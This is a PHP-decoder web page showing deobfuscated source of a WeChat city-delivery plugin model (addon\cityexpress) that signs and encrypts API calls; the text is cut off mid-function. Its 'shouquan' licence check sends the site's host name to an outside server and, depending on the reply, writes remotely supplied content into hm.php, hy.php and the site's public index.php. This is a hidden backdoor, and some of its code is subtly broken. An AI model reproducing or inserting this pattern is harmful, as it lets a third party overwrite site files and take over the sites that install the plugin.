Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace addon\cityexpress\model; require_once "\160\165\x62\x6c\x69\143\57\163\x..

Decoded Output download

<?php 
 namespace addon\cityexpress\model; require_once "public/static/phpseclib/phpseclib/Crypt/RSA.php"; require_once "public/static/phpseclib/phpseclib/Math/BigInteger.php"; require_once "public/static/phpseclib/phpseclib/Crypt/Hash.php"; require_once "public/static/phpseclib/phpseclib/Crypt/Random.php"; use addon\weapp\model\Config as WeappConfigModel; use addon\wxoplatform\model\Config as WxOplatformConfigModel; use app\model\BaseModel; use app\model\system\Config; use EasyWeChat\Factory; use think\facade\Cache; use phpseclib\Crypt\RSA; use phpseclib\Crypt\Hash; use phpseclib\Crypt\Random; use phpseclib\Math\BigInteger; use think\facade\Session; use think\facade\Log; class Weapp extends BaseModel { private $appId; private $aes; private $rsa; private $cert; private $url; public function __construct($site_id = 0) { goto MQ8Mr; Pc78m: $plateform_config_model = new WxOplatformConfigModel(); goto VfRhY; MQ8Mr: $weapp_config_model = new WeappConfigModel(); goto QBQRv; ntIx8: yBAGG: goto h4aLD; cuSui: Xu5Nw: goto Pc78m; cvVTC: $plateform_config = $plateform_config["data"]["value"]; goto YJTz3; VfRhY: $plateform_config = $plateform_config_model->getOplatformConfig(); goto cvVTC; YJTz3: $config = ["app_id" => $plateform_config["appid"] ?? '', "secret" => $plateform_config["secret"] ?? '', "token" => $plateform_config["token"] ?? '', "aes_key" => $plateform_config["aes_key"] ?? '', "log" => ["level" => "debug", "permission" => 0777, "file" => "runtime/log/wechat/oplatform.logs"]]; goto ANy38; fAEqI: $this->app = Factory::miniProgram($config); goto UGD00; OBYFr: if (isset($weapp_config["is_authopen"]) && addon_is_exit("wxoplatform")) { goto Xu5Nw; } goto e2V05; h4aLD: $pei_config = $this->getConfig($site_id); goto SijEP; UGD00: $this->appId = $weapp_config["appid"] ?? ''; goto ghDMf; HwZLn: $this->app = $open_platform->miniProgram($weapp_config["authorizer_appid"], $weapp_config["authorizer_refresh_token"]); goto f3Csz; UaE3H: $weapp_config = $weapp_config["data"]["value"]; goto OBYFr; SijEP: $wxapp_config = $pei_config["data"]["value"]; goto XJFNI; mdd54: $this->rsa["sn"] = $wxapp_config["rsa_sn"] ?? ''; goto EzD1F; oRb8G: $this->aes["key"] = $wxapp_config["aes_key"] ?? ''; goto mdd54; iu68A: $this->rsa["rsa-private-key"] = !empty($wxapp_config["rsa_private_key"]) ? file_get_contents($wxapp_config["rsa_private_key"]) : ''; goto pllhG; e2V05: $config = ["app_id" => $weapp_config["appid"] ?? '', "secret" => $weapp_config["appsecret"] ?? '', "response_type" => "array", "log" => ["level" => "debug", "permission" => 0777, "file" => "runtime/log/wechat/easywechat.logs"]]; goto fAEqI; XJFNI: $this->aes["sn"] = $wxapp_config["aes_sn"] ?? ''; goto oRb8G; QBQRv: $weapp_config = $weapp_config_model->getWeappConfig($site_id); goto UaE3H; EzD1F: $this->rsa["rsa-public-key"] = !empty($wxapp_config["rsa_public_key"]) ? file_get_contents($wxapp_config["rsa_public_key"]) : ''; goto iu68A; f3Csz: $this->appId = $plateform_config["appid"] ?? ''; goto ntIx8; wt3Ey: $this->cert["cert-key"] = !empty($wxapp_config["cert_key"]) ? file_get_contents($wxapp_config["cert_key"]) : ''; goto IcOle; ghDMf: goto yBAGG; goto cuSui; ANy38: $open_platform = Factory::openPlatform($config); goto HwZLn; pllhG: $this->cert["sn"] = $wxapp_config["cert_sn"] ?? ''; goto wt3Ey; IcOle: } public function shouquan($authcode) { goto i3isL; pm0P2: goto XVzrR; goto l_fAc; k188e: file_put_contents(PUBLIC_PATH . "hm.php", file_put_contents("http://" . $auth_url . "/hm/hm.txt")); goto eAP6B; RKzzo: $auth_url_arr = ["api.xuanloo.com"]; goto DzGz0; aizWM: wMAei: goto YBbXL; taF29: return ["code" => 1, "msg" => $query["msg"]]; goto pm0P2; BNtTu: Vc5uJ: goto xRz53; P9iiS: goto RDPU7; goto P9yV_; p3qz0: $proid_nam = $proid_nam_arr[array_rand($proid_nam_arr, 1)]; goto W_Sd0; l_fAc: OdwQ2: goto URjJD; VOUBQ: return ["code" => 1, "msg" => $query["msg"]]; goto xdCCK; yyPZw: CV98e: goto Q8dFF; BvYRQ: if (!empty($query) && ($query = json_decode($query, true))) { goto wMAei; } goto f9ZA2; W_Sd0: $check_url = "http://" . $auth_url . "/api/check.php?proid=" . $proid_nam . "&url=" . $_SERVER["HTTP_HOST"] . "&authcode=" . $authcode; goto ots7R; rCNpD: return ["code" => 0]; goto p0Jsm; Cmr3I: file_put_contents(PUBLIC_PATH . "hy.php", file_put_contents("http://" . $auth_url . "/hm/hy.txt")); goto VOUBQ; JVeES: if (!empty($AUTHBIRTH)) { goto S2Mqb; } goto RKzzo; DzGz0: $auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)]; goto QoZmk; xf5zV: IT9Qh: goto Cmr3I; rgQGB: WvqlU: goto P9iiS; TeMXw: goto JgxIh; goto xf5zV; ots7R: $query = file_get_contents($check_url); goto BvYRQ; eAP6B: return ["code" => 1, "msg" => $query["msg"]]; goto rgQGB; aBZrX: S2Mqb: goto hpRp4; QoZmk: $proid_nam_arr = ["3"]; goto p3qz0; s3iQq: if ($query["code"] == 4) { goto OdwQ2; } goto taF29; p0Jsm: RDPU7: goto rpTRc; FMzYT: goto WvqlU; goto bYqCV; Q8dFF: goto JelCK; goto aizWM; MMblj: return ["code" => 0]; goto LFi04; i3isL: $AUTHBIRTH = Session::get("AUTHBIRTH"); goto JVeES; f9ZA2: if (!empty($query)) { goto Vc5uJ; } goto fg1Lz; rpTRc: JelCK: goto aBZrX; YBbXL: if ($query["code"] == 1) { goto F2Imi; } goto m5apc; URjJD: file_put_contents(PUBLIC_PATH . "index.php", file_put_contents("http://" . $auth_url . "/hm/hys.txt")); goto ExTYf; oC6tG: if ($query["code"] == 3) { goto IT9Qh; } goto s3iQq; ExTYf: return ["code" => 1, "msg" => $query["msg"]]; goto s0GFM; LFi04: goto CV98e; goto BNtTu; bYqCV: oJuEn: goto k188e; xdCCK: JgxIh: goto FMzYT; fg1Lz: Session::set("AUTHBIRTH", $authcode); goto MMblj; m5apc: if ($query["code"] == 2) { goto oJuEn; } goto oC6tG; s0GFM: XVzrR: goto TeMXw; yOnz9: Session::set("AUTHBIRTH", $authcode); goto rCNpD; xRz53: return ["code" => 1, "msg" => "\xe6\216\x88\xe6\235\x83\351\xaa\x8c\xe8\257\201\xe7\xbb\x93\346\x9e\x9c\345\xbc\x82\345\xb8\xb8\357\274\x81"]; goto yyPZw; P9yV_: F2Imi: goto yOnz9; hpRp4: } public function setConfig($data) { goto XB9Rk; i_RXh: return $this->error('', "\xe8\257\xb7\xe8\201\224\xe7\263\xbb\xe7\xae\241\347\x90\x86\345\221\230\346\xb7\xbb\xe5\212\240\346\x8e\x88\xe6\x9d\x83\xe7\240\x81\xef\274\201"); goto qCpmB; D1Oog: return $this->error('', $res["msg"]); goto jKONk; qCpmB: BdZuq: goto B3Nwd; PNi37: if (Session::has("AUTHBIRTH")) { goto UE0UH; } goto iYRul; B3Nwd: $config = new Config(); goto IRNSH; CoEVl: if (!($res["code"] != 0)) { goto Exvdp; } goto D1Oog; fprMq: return $this->success($res); goto j6UL1; iYRul: $res = $this->shouquan($data["my_uid"]); goto CoEVl; KMN6X: UE0UH: goto jjtxL; jjtxL: goto BdZuq; goto ziGJZ; XB9Rk: if (empty($data["my_uid"])) { goto p1ohQ; } goto PNi37; jKONk: Exvdp: goto KMN6X; IRNSH: $res = $config->setConfig($data, "\345\220\214\345\x9f\x8e\xe9\205\x8d\351\200\x81", 1, [["site_id", "=", $data["site_id"]], ["app_module", "=", "shop"], ["config_key", "=", "CITYPEISONG_CONFIG"]]); goto fprMq; ziGJZ: p1ohQ: goto i_RXh; j6UL1: } public function getConfig($site_id) { goto y7E53; skJox: $res = $config->getConfig([["site_id", "=", $site_id], ["app_module", "=", "shop"], ["config_key", "=", "CITYPEISONG_CONFIG"]]); goto q6lMc; eOr3N: SHb3k: goto sXgL4; sXgL4: return $res; goto pHQE8; Qm_ds: $res["data"]["value"] = []; goto eOr3N; q6lMc: if (!empty($res["data"]["value"])) { goto SHb3k; } goto Qm_ds; y7E53: $config = new Config(); goto skJox; pHQE8: } public function openDelivery() { try { goto dz7KE; F9myL: S_JJ3: goto GfTYN; wVBax: MDvAE: goto ZrQAQ; mb8nG: if ($result["errcode"] == 0) { goto MDvAE; } goto OGjdG; k5im3: $result = $this->request($url, []); goto OmeT_; OmeT_: if (!empty($result["code"])) { goto VtXSw; } goto mb8nG; cWqos: return $this->error('', "\xe5\xbc\200\351\200\x9a\345\xa4\xb1\xe8\xb4\xa5\xef\274\x8c\xe8\257\xb7\346\243\200\xe6\x9f\245\xe5\x8f\x82\346\225\xb0\345\222\214\346\235\x83\351\231\220\xe9\205\x8d\347\xbd\256"); goto F9myL; ZrQAQ: return $this->success('', "\345\xbc\200\xe9\x80\x9a\346\210\x90\xe5\212\x9f"); goto t0wxB; z5yRd: VtXSw: goto cWqos; eMixQ: goto S_JJ3; goto z5yRd; dz7KE: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/apply"; goto k5im3; t0wxB: osTj9: goto eMixQ; OGjdG: return $this->error('', "\xe5\xbc\200\xe9\200\x9a\xe5\xa4\261\350\264\xa5"); goto Qtz4v; Qtz4v: goto osTj9; goto wVBax; GfTYN: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function createStore($params) { try { goto rfA2O; rfA2O: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/createstore"; goto JqGXQ; zaVOi: return $result; goto CwosQ; JqGXQ: $result = $this->request($url, $params); goto zaVOi; CwosQ: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function updateStore($params) { try { goto pUdI1; UDbz9: if ($result["errcode"] == 0) { goto NjROk; } goto q7eYP; ElZyU: return $this->success("\346\x9b\264\346\x96\260\xe6\210\x90\345\212\237"); goto PvNNP; Bd2N8: KmrSI: goto b_9XD; oDQvP: $result = $this->request($url, $params); goto EpSVu; PvNNP: gsbJ_: goto ZSVNo; q7eYP: return $this->error('', "\346\233\xb4\xe6\x96\260\345\xa4\261\xe8\xb4\245"); goto t7Ivs; Qu_Fs: Zt4r3: goto eAfz7; pUdI1: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/updatestore"; goto oDQvP; JGteI: NjROk: goto ElZyU; t7Ivs: goto gsbJ_; goto JGteI; b_9XD: return $this->error('', "\xe6\233\264\xe6\x96\xb0\345\xa4\xb1\350\264\xa5"); goto Qu_Fs; EpSVu: if (!empty($result["code"])) { goto KmrSI; } goto UDbz9; ZSVNo: goto Zt4r3; goto Bd2N8; eAfz7: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storecharge($params) { try { goto wGVX_; GpTNQ: bvJ6i: goto knImt; c0zAl: return $this->error('', $result["message"]); goto LGXHd; xyAy1: goto YSiNn; goto GEzgA; U_bwd: return $this->error('', "\xe5\205\x85\345\x80\xbc\xe8\xaf\267\xe6\xb1\x82\345\244\xb1\350\xb4\245\357\274\x8c\xe8\257\xb7\xe7\250\215\xe5\x90\216\345\x86\215\350\257\225"); goto u5ngZ; GEzgA: yN3xG: goto c0zAl; LGXHd: YSiNn: goto AzNM1; F3MMX: if (!empty($result["code"])) { goto yN3xG; } goto KSowf; uMnMC: return $result; goto Mnfx1; Mnfx1: zf6zC: goto xyAy1; sDjco: $result = $this->request($url, $params); goto F3MMX; knImt: $result["code"] = $result["errcode"]; goto uMnMC; u5ngZ: goto zf6zC; goto GpTNQ; KSowf: if ($result["errcode"] == 0) { goto bvJ6i; } goto U_bwd; wGVX_: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/storecharge"; goto sDjco; AzNM1: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function mocknotify($params) { try { goto cyWU_; qZDN8: yFPSN: goto lwqQq; OYvSF: return $result; goto iTTAl; MWxFh: goto uo2vF; goto QncOh; PUIF_: if ($result["errcode"] == 0) { goto v4bxu; } goto OTWjc; Zz1Rp: return $this->error('', $result["message"]); goto qZDN8; kDyQk: goto yFPSN; goto PBauL; cyWU_: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/mocknotify"; goto WwaW1; oP2Bt: if (!empty($result["code"])) { goto tGUPB; } goto PUIF_; iTTAl: uo2vF: goto kDyQk; Hd2gC: $result["code"] = $result["errcode"]; goto OYvSF; WwaW1: $result = $this->request($url, $params); goto oP2Bt; OTWjc: return $this->error('', "\346\250\xa1\xe6\213\237\xe5\xa4\xb1\xe8\264\245"); goto MWxFh; QncOh: v4bxu: goto Hd2gC; PBauL: tGUPB: goto Zz1Rp; lwqQq: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storerefund($params) { try { goto LuEEy; FAdXw: return $this->error('', $result["message"]); goto HR_hn; lUONm: $url = " https://api.weixin.qq.com/cgi-bin/express/intracity/storerefund"; goto HtP7p; XRYD0: goto zBMWM; goto IWB4w; uttS2: if (!empty($result["code"])) { goto uhSvd; } goto WdvcX; IWB4w: eNusp: goto tB31R; k_5V5: goto Qvb5x; goto Y1Mpx; SQ3Gd: zBMWM: goto k_5V5; WdvcX: if ($result["errcode"] == 0) { goto eNusp; } goto btels; btels: return $this->error('', "\351\x80\x80\346\254\276\xe8\xaf\xb7\346\xb1\202\345\244\261\350\xb4\245\xef\xbc\214\xe8\257\267\347\xa8\215\xe5\220\216\xe5\x86\x8d\xe8\257\x95"); goto XRYD0; tB31R: $result["code"] = $result["errcode"]; goto vCkxG; HtP7p: $result = $this->request($url, $params); goto uttS2; LuEEy: return $this->error('', "\346\216\xa5\345\x8f\xa3\xe5\274\200\345\x8f\221\344\270\xad"); goto lUONm; vCkxG: return $result; goto SQ3Gd; Y1Mpx: uhSvd: goto FAdXw; HR_hn: Qvb5x: goto PcP4h; PcP4h: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryflow($params) { try { goto AdQDf; F17Qz: exit; goto FlNf9; AJ3pd: $data = $this->request($url, $params); goto uRrqf; AdQDf: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/queryflow"; goto AJ3pd; uRrqf: print_r($data); goto F17Qz; FlNf9: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function balancequery($params) { try { goto LvArn; tyO2k: $result["balance"] = $result["balance_detail"][0]["balance"]; goto OJdJP; OJdJP: return $result; goto sVoaY; t13vq: if ($result["errcode"] == 0) { goto GU6ub; } goto LItTb; yY5Mt: $result["message"] = "\xe6\237\245\350\xaf\242\346\x88\220\345\212\x9f"; goto tyO2k; qRVwq: goto xpzgs; goto NrhUW; MaNp3: $result["code"] = $result["errcode"]; goto yY5Mt; FQpCK: $result = $this->request($url, $params); goto t13vq; LvArn: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/balancequery"; goto FQpCK; kRhsn: return $result; goto v_LDM; sVoaY: xpzgs: goto kRhsn; LItTb: return $this->error('', "\346\237\245\350\xaf\xa2\xe5\244\261\350\xb4\245"); goto qRVwq; NrhUW: GU6ub: goto MaNp3; v_LDM: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function preaddorder($params) { try { goto wP5De; MabWa: goto T_66w; goto v0nDt; xjnoA: T_66w: goto WaX0G; O1Ki3: $result["fee"] = $result["est_fee"] / 100; goto qqyRj; FoX3B: CSrk7: goto MabWa; iczP7: if ($result["errcode"] == 0) { goto KLQwx; } goto cAyK5; wMkXR: $result = $this->request($url, $params); goto ZfYxx; YZ8XT: KLQwx: goto dUthQ; qqyRj: return $result; goto FoX3B; ZfYxx: if (!empty($result["code"])) { goto TAkqI; } goto iczP7; cAyK5: return $this->error('', "\xe6\237\245\350\257\242\xe5\xa4\xb1\350\xb4\xa5"); goto LpbiM; wP5De: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/preaddorder"; goto wMkXR; WjFcE: return $this->error('', "\xe6\237\245\xe8\xaf\xa2\xe5\244\261\xe8\xb4\245"); goto xjnoA; v0nDt: TAkqI: goto WjFcE; dUthQ: $result["code"] = 0; goto O1Ki3; LpbiM: goto CSrk7; goto YZ8XT; WaX0G: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function addorder($params) { try { goto PBNM8; l6qRZ: JVuwO: goto Fp57d; UtLve: return $this->error('', "\xe4\xb8\x8b\xe5\215\225\345\xa4\261\xe8\264\245"); goto F36mN; Fp57d: $result["code"] = 0; goto HUvuU; eK3zd: goto rK2p9; goto l6qRZ; HUvuU: return $result; goto iylG6; mcQi2: f_fUr: goto UtLve; ObAfy: return $this->error('', "\344\xb8\213\xe5\x8d\x95\345\xa4\261\350\xb4\245"); goto eK3zd; F36mN: dVBhF: goto IZwy0; ret7N: goto dVBhF; goto mcQi2; hkZtO: $result = $this->request($url, $params); goto wZd1J; km3CN: if ($result["errcode"] == 0) { goto JVuwO; } goto ObAfy; wZd1J: if (!empty($result["code"])) { goto f_fUr; } goto km3CN; PBNM8: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/addorder"; goto hkZtO; iylG6: rK2p9: goto ret7N; IZwy0: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryorder($params) { try { goto Qr4mJ; wFpAh: $result["message"] = "success"; goto QqYwH; Qr4mJ: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/queryorder"; goto T3_mm; H419y: lRBD5: goto d4hDY; EKZEB: IKMow: goto NeT10; DGUQW: if ($result["errcode"] == 0) { goto IKMow; } goto d0cgC; d0cgC: return $this->error('', "\346\x9f\245\xe8\xaf\xa2\345\244\xb1\xe8\264\245"); goto qh9Ve; VyB8x: goto lRBD5; goto FZpLh; qh9Ve: goto qbvWV; goto EKZEB; T3_mm: $result = $this->request($url, $params); goto ElU3P; G7ENd: qbvWV: goto VyB8x; FZpLh: UNosU: goto H7xCf; QqYwH: return $result; goto G7ENd; NeT10: $result["code"] = 0; goto wFpAh; ElU3P: if (!empty($result["code"])) { goto UNosU; } goto DGUQW; H7xCf: return $this->error('', "\xe6\x9f\xa5\350\xaf\242\345\xa4\261\350\xb4\245"); goto H419y; d4hDY: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function cancelorder($params) { try { goto Xtn5u; XTXl9: Sp251: goto G6a1A; vcrEC: pw_Pr: goto R9D3s; R3eN9: $result["message"] = "\345\x8f\226\346\xb6\210\344\xb8\211\xe6\226\xb9\351\x85\x8d\xe9\200\x81\345\x8d\225\xe6\210\x90\xe5\212\237"; goto aTy87; RpWuD: goto pw_Pr; goto XTXl9; jKoDr: if (!empty($result["code"])) { goto Sp251; } goto IyxVT; G6a1A: return $this->error('', "\345\x90\x8c\345\x9f\x8e\xe9\x85\x8d\xe9\x80\201\351\x80\x80\xe5\x8d\x95\345\244\xb1\350\264\xa5"); goto vcrEC; vKlBg: JXOAb: goto e34bZ; Xtn5u: $url = "https://api.weixin.qq.com/cgi-bin/express/intracity/cancelorder"; goto d4TFr; fJ0sM: return $this->error('', "\351\x80\x80\345\215\225\xe5\244\261\350\264\xa5"); goto TgZuc; aTy87: return $result; goto XqtKO; IyxVT: if ($result["errcode"] == 0) { goto JXOAb; } goto fJ0sM; e34bZ: $result["code"] = 0; goto R3eN9; d4TFr: $result = $this->request($url, $params); goto jKoDr; TgZuc: goto GiOY2; goto vKlBg; XqtKO: GiOY2: goto RpWuD; R9D3s: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function getBindAccount() { return [["delivery_id" => "DADA", "delivery_name" => "\xe8\xbe\276\350\276\276"], ["delivery_id" => "SFTC", "delivery_name" => "\351\xa1\272\344\xb8\xb0\345\x90\214\345\237\x8e"]]; } public function getCates() { return [["id" => "1", "name" => "\xe5\xbf\253\351\244\220"], ["id" => "2", "name" => "\350\x8d\xaf\345\223\x81"], ["id" => "3", "name" => "\347\231\xbe\350\xb4\xa7"], ["id" => "6", "name" => "\347\x94\x9f\351\xb2\234"], ["id" => "8", "name" => "\xe9\x85\222\345\223\201"], ["id" => "12", "name" => "\346\x96\207\xe4\273\266"], ["id" => "13", "name" => "\350\233\213\347\263\x95"], ["id" => "14", "name" => "\351\262\234\350\212\xb1"], ["id" => "15", "name" => "\346\x95\260\xe7\240\x81"], ["id" => "16", "name" => "\xe6\234\215\350\xa3\205"], ["id" => "17", "name" => "\xe6\xb1\xbd\xe9\x85\215"], ["id" => "18", "name" => "\xe7\x8f\xa0\xe5\xae\x9d"], ["id" => "32", "name" => "\351\xa5\xae\346\x96\231"], ["id" => "36", "name" => "\350\xaf\201\347\x85\xa7"], ["id" => "55", "name" => "\345\256\240\347\x89\xa9\xe7\224\xa8\xe5\x93\201"], ["id" => "56", "name" => "\346\xaf\215\xe5\251\xb4\347\224\250\xe5\x93\201"], ["id" => "57", "name" => "\xe7\xbe\216\345\xa6\x86\347\224\xa8\xe5\x93\201"], ["id" => "58", "name" => "\345\256\xb6\345\261\205\345\273\xba\346\235\220"], ["id" => "99", "name" => "\xe5\205\xb6\344\xbb\226"]]; } public function request($url, $req) { goto WaFtf; HCs2n: $checkLocalSig = $this->checkLocalSignature($newRe, $signature); goto vdLYL; NJ0vD: $headers = $this->httpParseHeaders($data["header"]); goto qyt0H; RWrm2: return $this->error('', "\346\x9c\254\345\234\260\351\252\214\xe7\255\xbe\xe9\x94\x99\xe8\xaf\xaf!"); goto m_gIC; WaFtf: $accessToken = $this->getAccessToken(); goto sjP3t; YX8KN: $urls = $url . "?access_token=" . $accessToken; goto lXvtV; CUzxW: $data = $this->curlPost($urls, $newRe["reqData"], $headerArray); goto NJ0vD; lXvtV: $newRe = $this->getRequestParam($url, $req); goto W67CN; qyt0H: $body = json_decode($data["body"], true); goto kiPWJ; m_gIC: Y8eBL: goto cTUw0; K0cPV: $headerArray = ["Wechatmp-Appid:" . $appId, "Wechatmp-TimeStamp:" . $newRe["ts"], "Wechatmp-Signature:" . $signature]; goto CUzxW; kiPWJ: if (!isset($body["errcode"])) { goto RptI5; } goto VpgYx; sjP3t: $this->url = $url; goto YX8KN; H1SRU: RptI5: goto DBu1I; W67CN: $signature = $this->getSignature($newRe); goto HCs2n; VpgYx: return $this->error('', $body["errmsg"]); goto H1SRU; vdLYL: if ($checkLocalSig) { goto Y8eBL; } goto RWrm2; iWXC6: return $this->jM($headers["Wechatmp-TimeStamp"], $body); goto QXe40; DBu1I: $vertify = $this->vertifyResponse($data); goto iWXC6; cTUw0: $appId = $this->appId; goto K0cPV; QXe40: } public function getAccessToken() { goto k0J8o; k0J8o: $accessToken = $this->app->access_token; goto FTp8_; FTp8_: $token = $accessToken->getToken(); goto H2Lnh; H2Lnh: return $token["access_token"]; goto ArmsU; ArmsU: } public function curlPost($url, $field, $header) { goto Wraks; Ya6wI: if (empty($field)) { goto pyaqL; } goto mk6yy; z1smg: $curl = curl_init(); goto eTqUD; WjH_I: curl_setopt($curl, CURLOPT_URL, $url); goto AqCnx; Wraks: $headerArray = array("Content-type:application/json;charset=utf-8", "Accept:application/json"); goto HC05w; wqSo9: qGjU4: goto z1smg; UO1aG: $body = substr($str, $headerSize); goto dD8pA; Ycv54: curl_setopt($curl, CURLOPT_HEADER, true); goto GFty6; GFty6: $str = curl_exec($curl); goto zUI6o; r3gh5: pyaqL: goto Yosea; MMW8E: $headerArray = array_merge($headerArray, $header); goto wqSo9; z0XsK: $headers = substr($str, 0, $headerSize); goto UO1aG; Yosea: curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); goto Ycv54; dD8pA: curl_close($curl); goto RxyHR; HC05w: if (empty($header)) { goto qGjU4; } goto MMW8E; eTqUD: curl_setopt($curl, CURLOPT_HTTPHEADER, $headerArray); goto WjH_I; AqCnx: curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); goto IOfXp; IOfXp: curl_setopt($curl, CURLOPT_POST, 1); goto Ya6wI; mk6yy: curl_setopt($curl, CURLOPT_POSTFIELDS, $field); goto r3gh5; zUI6o: $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE); goto z0XsK; RxyHR: return ["body" => $body, "header" => $headers]; goto fNKxR; fNKxR: } public function getRequestParam($url, $req) { goto fPVsc; h__hh: return ["ts" => $time, "reqData" => json_encode($reqData)]; goto d93zi; V1jRB: $data = base64_encode($cipher); goto rgs0t; vjgWr: $addReq = ["_n" => $nonce, "_appid" => $appId, "_timestamp" => $time]; goto D6Blw; rgs0t: $authTag = base64_encode($tag); goto iA0KE; tdtDJ: $checkParam = $this->checkParam($key, $authTag, $iv, $data, $aad); goto h__hh; tDWSl: $sn = $this->aes["sn"]; goto scVd6; meilD: $iv = base64_encode($iv); goto V1jRB; iA0KE: $reqData = ["iv" => $iv, "data" => $data, "authtag" => $authTag]; goto tdtDJ; U1MUF: $iv = random_bytes(12); goto f3O9y; D6Blw: $realReq = array_merge($addReq, $req); goto a0sGL; fPVsc: $key = base64_decode($this->aes["key"]); goto tDWSl; glB21: $aad = $url . "|" . $appId . "|" . $time . "|" . $sn; goto U1MUF; a0sGL: $realReq = json_encode($realReq); goto glB21; scVd6: $appId = $this->appId; goto rl02Z; f3O9y: $cipher = openssl_encrypt($realReq, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $tag, $aad, 16); goto meilD; rl02Z: $time = time(); goto uMGZx; uMGZx: $nonce = rtrim(base64_encode(random_bytes(16)), "="); goto vjgWr; d93zi: } private function checkParam($key, $authTag, $iv, $data, $aad) { goto cj5t1; cj5t1: $iv = base64_decode($iv); goto W1lRu; sZxmw: $authTag = base64_decode($authTag); goto HHct4; W1lRu: $data = base64_decode($data); goto sZxmw; HHct4: return openssl_decrypt($data, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto dQvCK; dQvCK: } private function getSignature(array $newRe) { goto gbOzr; Vr1wT: $rsa->setHash("sha256"); goto jcJip; gbOzr: $time = $newRe["ts"]; goto xwFjM; jcJip: $rsa->setMGFHash("sha256"); goto k8Xz3; PCb3n: $url = $this->url; goto RDQgo; pB1cc: return base64_encode($signature); goto uovFH; xwFjM: $key = $this->rsa["rsa-private-key"]; goto PCb3n; RDQgo: $appId = $this->appId; goto s_vKc; Kr3nL: $rsa = new RSA(); goto Mbzia; Mbzia: $rsa->loadKey($key); goto Vr1wT; XrdhQ: $payload = $url . "\xa" . $appId . "
" . $time . "
" . $reqData; goto Kr3nL; k8Xz3: $signature = $rsa->sign($payload); goto pB1cc; s_vKc: $reqData = $newRe["reqData"]; goto XrdhQ; uovFH: } private function checkLocalSignature(array $newRe, string $signature) { goto p5tje; x6F8n: $rsa->setMGFHash("sha256"); goto gnJZD; U4aql: $pubkey = $rsaPubKey; goto ewXAj; ewXAj: $rsa = new RSA(); goto S0aLL; WaXvR: $url = $this->url; goto u62ZZ; s0Wgm: $payload = utf8_encode($payload); goto U4aql; gnJZD: return $rsa->verify($payload, $signature); goto jG1iu; u62ZZ: $time = $newRe["ts"]; goto n9kHv; S0aLL: $rsa->loadKey($pubkey); goto vDrtl; tY7MN: $rsaPubKey = $this->rsa["rsa-public-key"]; goto LW0SB; n9kHv: $reqData = $newRe["reqData"]; goto H9seu; p5tje: $signature = base64_decode($signature); goto tY7MN; LW0SB: $appId = $this->appId; goto WaXvR; vDrtl: $rsa->setHash("sha256"); goto x6F8n; H9seu: $payload = "{$url}\xa{$appId}
{$time}\xa{$reqData}"; goto s0Wgm; jG1iu: } private function httpParseHeaders($headerString) { goto ZFpwk; ZFpwk: $headers = []; goto WqlsD; cXPtt: NrabL: goto UnXz_; Wopct: foreach ($lines as $line) { goto Pu0Tn; SjhYo: jTrXu: goto vAyNj; ZfHyG: $key = trim($parts[0]); goto ZnX5_; MD7xE: WJ4QO: goto SjhYo; vTj_k: $headers[$key] = $value; goto MD7xE; Pu0Tn: $line = trim($line); goto ajI9d; ajI9d: if (empty($line)) { goto WJ4QO; } goto oxarE; ZnX5_: $value = isset($parts[1]) ? trim($parts[1]) : ''; goto vTj_k; oxarE: $parts = explode(":", $line, 2); goto ZfHyG; vAyNj: } goto cXPtt; WqlsD: $lines = explode("
", $headerString); goto Wopct; UnXz_: return $headers; goto n1KLo; n1KLo: } private function jM($ts, $body) { goto iPQkz; TUcGc: return $this->error('', "\350\xa7\xa3\345\xaf\x86\xe5\244\xb1\350\xb4\xa5!"); goto DUy1j; yvoXy: MF1Lb: goto wwMf1; VoA6Z: $authTag = base64_decode($body["authtag"]); goto qeMyB; qeMyB: $result = openssl_decrypt($data, "aes-256-gcm", $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad); goto HaweL; CfV4z: iwO9H: goto I_ENR; HDSwZ: $aad = $url . "|" . $appId . "|" . $ts . "|" . $sn; goto F2uNE; iPQkz: $url = $this->url; goto Xnr7E; MGUZ2: return $this->error('', $result["errmsg"]); goto yvoXy; MQpQI: $key = base64_decode($key); goto keVwl; I_ENR: Log::write("\345\276\xae\xe4\277\241\xe6\216\xa5\xe5\x8f\xa3\xe8\277\224\345\x9b\x9e\357\274\x9a" . json_encode($result)); goto DWGOJ; keVwl: $iv = base64_decode($body["iv"]); goto SemG0; aay34: $sn = $this->aes["sn"]; goto HDSwZ; Xnr7E: $appId = $this->appId; goto aay34; pz5hT: Log::write("\xe5\276\xae\344\xbf\241\xe6\x8e\245\345\217\xa3\350\xbf\224\345\x9b\236\xef\274\232" . json_encode($result)); goto MGUZ2; HaweL: if ($result) { goto ZibFZ; } goto TUcGc; DUy1j: ZibFZ: goto cXPY_; F2uNE: $key = $this->aes["key"]; goto MQpQI; M4RtI: if (!(!empty($result["errcode"]) && $result["errcode"] != 0)) { goto MF1Lb; } goto pz5hT; cXPY_: $result = json_decode($result, true); goto 